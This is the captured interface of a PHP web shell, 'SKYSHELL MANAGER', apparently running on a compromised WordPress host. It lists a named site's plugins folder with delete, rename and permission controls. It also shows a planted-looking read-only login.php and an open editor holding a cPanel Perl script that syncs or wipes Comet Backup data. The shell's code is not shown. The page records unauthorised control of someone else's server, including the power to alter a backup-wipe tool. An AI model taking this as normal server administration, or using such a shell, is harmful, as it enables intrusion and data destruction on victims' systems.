📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
godaofbq
/
redlightsquared.com
/
wp-content
/
plugins
/
Name
Size
Perm
Actions
📁
adminify
-
0755
🗑️
🏷️
🔒
📁
adminify-activity-logs
-
0755
🗑️
🏷️
🔒
📁
adminify-pro
-
0755
🗑️
🏷️
🔒
📁
akismet
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration-unlimited-extension
-
0755
🗑️
🏷️
🔒
📁
authorizenet-payment-gateway-for-woocommerce
-
0755
🗑️
🏷️
🔒
📁
backuply
-
0755
🗑️
🏷️
🔒
📁
backuply-pro
-
0755
🗑️
🏷️
🔒
📁
cf7-conditional-fields
-
0755
🗑️
🏷️
🔒
📁
classic-editor
-
0755
🗑️
🏷️
🔒
📁
code-snippets
-
0755
🗑️
🏷️
🔒
📁
contact-form-7
-
0755
🗑️
🏷️
🔒
📁
cookieadmin
-
0755
🗑️
🏷️
🔒
📁
cookieadmin-pro
-
0755
🗑️
🏷️
🔒
📁
crisp
-
0755
🗑️
🏷️
🔒
📁
duplicate-page
-
0755
🗑️
🏷️
🔒
📁
duplicator
-
0755
🗑️
🏷️
🔒
📁
export-media-with-selected-content
-
0755
🗑️
🏷️
🔒
📁
google-listings-and-ads
-
0755
🗑️
🏷️
🔒
📁
google-site-kit
-
0755
🗑️
🏷️
🔒
📁
gosmtp
-
0755
🗑️
🏷️
🔒
📁
gosmtp-pro
-
0755
🗑️
🏷️
🔒
📁
header-footer
-
0755
🗑️
🏷️
🔒
📁
litespeed-cache
-
0755
🗑️
🏷️
🔒
📁
loginizer
-
0755
🗑️
🏷️
🔒
📁
loginizer-security
-
0755
🗑️
🏷️
🔒
📁
loginpress
-
0755
🗑️
🏷️
🔒
📁
masterslider
-
0755
🗑️
🏷️
🔒
📁
oxygen
-
0755
🗑️
🏷️
🔒
📁
oxygen-gutenberg
-
0755
🗑️
🏷️
🔒
📁
oxygen-woocommerce
-
0755
🗑️
🏷️
🔒
📁
pagelayer
-
0755
🗑️
🏷️
🔒
📁
pagelayer-pro
-
0755
🗑️
🏷️
🔒
📁
pdf-embedder
-
0755
🗑️
🏷️
🔒
📁
rolemaster-suite
-
0755
🗑️
🏷️
🔒
📁
siteseo
-
0755
🗑️
🏷️
🔒
📁
siteseo-pro
-
0755
🗑️
🏷️
🔒
📁
speedycache
-
0755
🗑️
🏷️
🔒
📁
speedycache-pro
-
0755
🗑️
🏷️
🔒
📁
wc-external-product-new-tab
-
0755
🗑️
🏷️
🔒
📁
woocommerce
-
0755
🗑️
🏷️
🔒
📁
wordpress-seo
-
0755
🗑️
🏷️
🔒
📁
wp-headers-and-footers
-
0755
🗑️
🏷️
🔒
📄
error_log
1985.9 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
login.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: sync_comet_protected_items
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - bin/sync_comet_protected_items Copyright 2025 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. =head1 NAME sync_comet_protected_items - Synchronize local Protected Items database with Comet Backup server =head1 SYNOPSIS /usr/local/cpanel/bin/sync_comet_protected_items [--help] [--verbose] =head1 DESCRIPTION This script synchronizes the local Protected Items database with the Comet Backup server. It reads all Protected Items from the local database and ensures they exist in the Comet Backup server's user profile with matching UUIDs. This is useful when: - Protected Items in the database have different UUIDs than what's on the Comet Backup server - The Comet Backup server profile has been reset or corrupted - You need to force a full resync of all Protected Items =head1 OPTIONS =over 4 =item B<--help> Display this help message and exit. =item B<--verbose> Enable verbose output (sets DEBUG environment variable). =item B<--dry-run> Show what would be synced without actually submitting to the Comet Backup server. =item B<--wipe> Remove all Protected Items from the Comet Backup server. This will clear the Sources section of the user profile. Use with caution as this cannot be undone. This operation does not require any items in the local database. =back =head1 EXAMPLES # Sync all Protected Items /usr/local/cpanel/bin/sync_comet_protected_items # Verbose mode /usr/local/cpanel/bin/sync_comet_protected_items --verbose # Dry run to see what would be synced /usr/local/cpanel/bin/sync_comet_protected_items --dry-run # Wipe all Protected Items from Comet Backup server /usr/local/cpanel/bin/sync_comet_protected_items --wipe =cut use cPstrict; use Getopt::Long (); use Pod::Usage (); use lib '/usr/local/cpanel'; use Whostmgr::CometBackup::CometBackupAPI::ProtectedItemBatch (); use Whostmgr::CometBackup::Logger (); # Plugin policy: nothing in this process should be world-readable. umask 0027; # Parse command line options my $help = 0; my $verbose = 0; my $dry_run = 0; my $wipe = 0; Getopt::Long::GetOptions( 'help|h' => \$help, 'verbose|v' => \$verbose, 'dry-run|n' => \$dry_run, 'wipe|w' => \$wipe, ) or Pod::Usage::pod2usage(2); Pod::Usage::pod2usage( -exitval => 0, -verbose => 2 ) if $help; # Set DEBUG environment variable if verbose mode $ENV{DEBUG} = 1 if $verbose; # Initialize logger my $logger = Whostmgr::CometBackup::Logger->new( log_level => $verbose ? 'debug' : 'info' ); # Handle --wipe mode early since it doesn't require database items if ($wipe) { $logger->info("Starting Comet Backup Protected Items wipe"); _wipe_all_protected_items( $logger, $dry_run ); exit 0; } $logger->info("Starting Comet Backup Protected Items sync"); # Load database to check how many items we have require Whostmgr::CometBackup::ProtectedItemMap; my $map = Whostmgr::CometBackup::ProtectedItemMap->new(); my $dbh = $map->_get_database_handle(); my $sth = $dbh->prepare( q{ SELECT COUNT(*) as count FROM protected_items WHERE status IN ('pending', 'active') } ); $sth->execute(); my $row = $sth->fetchrow_hashref(); my $item_count = $row->{count}; print "Found $item_count Protected Items in local database\n"; if ( $item_count == 0 ) { print "No Protected Items to sync. Exiting.\n"; exit 0; } # Get target user from server config require Whostmgr::CometBackup::CometBackupAPI; my $server_config = Whostmgr::CometBackup::CometBackupAPI::get_server_config(); unless ( $server_config && $server_config->{username} ) { die "ERROR: Unable to read Comet Backup server configuration. Please configure Comet Backup integration first.\n"; } my $target_user = $server_config->{username}; print "Target Comet Backup user: $target_user\n"; if ($dry_run) { print "\n=== DRY RUN MODE ===\n"; print "Would sync $item_count Protected Items to Comet Backup server for user: $target_user\n"; # Show what items would be synced my $items_sth = $dbh->prepare( q{ SELECT protected_item_uid, system_user, item_type, job_uuid FROM protected_items WHERE status IN ('pending', 'active') ORDER BY system_user, item_type LIMIT 10 } ); $items_sth->execute(); print "\nFirst 10 items that would be synced:\n"; printf " %-38s %-15s %-25s %s\n", "Protected Item UID", "System User", "Item Type", "Job UUID"; print " " . ( "-" x 110 ) . "\n"; while ( my $item = $items_sth->fetchrow_hashref() ) { printf " %-38s %-15s %-25s %s\n", $item->{protected_item_uid}, $item->{system_user}, $item->{item_type}, $item->{job_uuid}; } if ( $item_count > 10 ) { print " ... and " . ( $item_count - 10 ) . " more items\n"; } print "\nNo changes made (dry-run mode).\n"; exit 0; } # Perform the actual sync print "\nSyncing Protected Items to Comet Backup server...\n"; eval { my $success = Whostmgr::CometBackup::CometBackupAPI::ProtectedItemBatch->sync_protected_items( target_user => $target_user ); if ($success) { print "✓ Successfully synced $item_count Protected Items to Comet Backup server\n"; $logger->info( "Protected Items sync completed successfully", { item_count => $item_count } ); } else { print "✗ Failed to sync Protected Items to Comet Backup server\n"; print "Check /var/log/comet_backup.log for details\n"; $logger->error("Protected Items sync failed"); exit 1; } }; if ($@) { print "✗ Error during sync: $@\n"; print "Check /var/log/comet_backup.log for details\n"; $logger->error( "Protected Items sync error", { error => $@ } ); exit 1; } # Verify sync by checking the Comet Backup server profile print "\nVerifying sync...\n"; eval { my $source_ids = Whostmgr::CometBackup::CometBackupAPI::get_source_ids_from_profile(); if ( $source_ids && ref($source_ids) eq 'ARRAY' ) { my $server_count = scalar(@$source_ids); print "Comet Backup server now has $server_count Source(s)\n"; if ( $server_count >= $item_count ) { print "✓ Verification successful: Server has at least $item_count Sources\n"; } else { print "⚠ Warning: Server has fewer Sources ($server_count) than database items ($item_count)\n"; print "Some items may not have been synced successfully\n"; } } else { print "⚠ Warning: Unable to verify sync - could not retrieve Source IDs from server\n"; } }; if ($@) { print "⚠ Warning: Verification failed: $@\n"; } print "\nSync complete. Check /var/log/comet_backup.log for detailed logs.\n"; exit 0; sub _wipe_all_protected_items ( $logger, $dry_run ) { # Get target user from server config require Whostmgr::CometBackup::CometBackupAPI; my $server_config = Whostmgr::CometBackup::CometBackupAPI::get_server_config(); unless ( $server_config && $server_config->{username} ) { die "ERROR: Unable to read Comet Backup server configuration. Please configure Comet Backup integration first.\n"; } my $target_user = $server_config->{username}; print "Target Comet Backup user: $target_user\n"; # First, get current profile to see how many Sources exist print "Fetching current user profile...\n"; my $current_profile; eval { $current_profile = Whostmgr::CometBackup::CometBackupAPI::get_user_profile_and_hash(); }; if ($@) { die "ERROR: Failed to retrieve user profile: $@\n"; } unless ($current_profile) { die "ERROR: Could not retrieve user profile for $target_user\n"; } # Extract profile data my $profile_hash = $current_profile->{ProfileHash} || 'UNDEFINED'; my $profile_data = $current_profile->{Profile}; # If Profile is a JSON string, decode it if ( !ref($profile_data) ) { require Cpanel::JSON; eval { $profile_data = Cpanel::JSON::Load($profile_data); }; if ($@) { die "ERROR: Failed to decode Profile JSON: $@\n"; } } my $sources = $profile_data->{Sources} || {}; my $sources_count = scalar( keys %$sources ); print "Current profile has $sources_count Source(s)\n"; if ( $sources_count == 0 ) { print "No Sources to wipe. Profile is already clean.\n"; return; } if ($dry_run) { print "\n=== DRY RUN MODE ===\n"; print "Would wipe $sources_count Source(s) from Comet Backup server for user: $target_user\n"; # Show first 10 sources that would be removed my @source_ids = keys %$sources; my $show_count = $sources_count > 10 ? 10 : $sources_count; print "\nFirst $show_count Source(s) that would be removed:\n"; for my $i ( 0 .. $show_count - 1 ) { my $source_id = $source_ids[$i]; my $source = $sources->{$source_id}; my $type = ref($source) eq 'HASH' ? ( $source->{Type} || 'unknown' ) : 'unknown'; printf " %-38s Type: %s\n", $source_id, $type; } if ( $sources_count > 10 ) { print " ... and " . ( $sources_count - 10 ) . " more Source(s)\n"; } print "\nNo changes made (dry-run mode).\n"; return; } # Confirm before wiping print "\n⚠️ WARNING: This will remove ALL $sources_count Protected Items from the Comet Backup server!\n"; print "This operation cannot be undone.\n"; print "Type 'yes' to confirm: "; my $confirmation = <STDIN>; chomp $confirmation; unless ( $confirmation eq 'yes' ) { print "Wipe cancelled.\n"; return; } print "\nWiping Protected Items from Comet Backup server...\n"; # Clear the Sources hash and update the profile $profile_data->{Sources} = {}; eval { require Cpanel::JSON; # Serialize the profile for submission my $profile_json = Cpanel::JSON::Dump($profile_data); # Submit the updated profile my $request_data = { ProfileData => $profile_json, ProfileHash => $profile_hash, }; $logger->info("Submitting cleared profile to Comet server"); my $result = Whostmgr::CometBackup::CometBackupAPI::make_server_request( "user/web/set-profile-hash", $request_data ); if ( $result && $result->{Status} == 200 ) { print "✓ Successfully wiped $sources_count Protected Items from Comet Backup server\n"; $logger->info( "Protected Items wipe completed successfully", { sources_count => $sources_count } ); } else { my $error_msg = $result->{Message} || 'Unknown error'; die "Failed to update profile: $error_msg\n"; } }; if ($@) { print "✗ Error during wipe: $@\n"; print "Check /var/log/comet_backup.log for details\n"; $logger->error( "Protected Items wipe error", { error => $@ } ); exit 1; } # Verify the wipe by checking the server profile again print "\nVerifying wipe...\n"; eval { my $verify_profile = Whostmgr::CometBackup::CometBackupAPI::get_user_profile_and_hash(); if ($verify_profile) { my $verify_data = $verify_profile->{Profile}; # Decode if needed if ( !ref($verify_data) ) { require Cpanel::JSON; $verify_data = Cpanel::JSON::Load($verify_data); } my $verify_sources = $verify_data->{Sources} || {}; my $verify_count = scalar( keys %$verify_sources ); if ( $verify_count == 0 ) { print "✓ Verification successful: Server profile has 0 Sources\n"; } else { print "⚠ Warning: Server still has $verify_count Source(s)\n"; print "The wipe may not have been fully successful\n"; } } else { print "⚠ Warning: Unable to verify wipe - could not retrieve profile\n"; } }; if ($@) { print "⚠ Warning: Verification failed: $@\n"; } print "\nWipe complete. Check /var/log/comet_backup.log for detailed logs.\n"; return; }
Save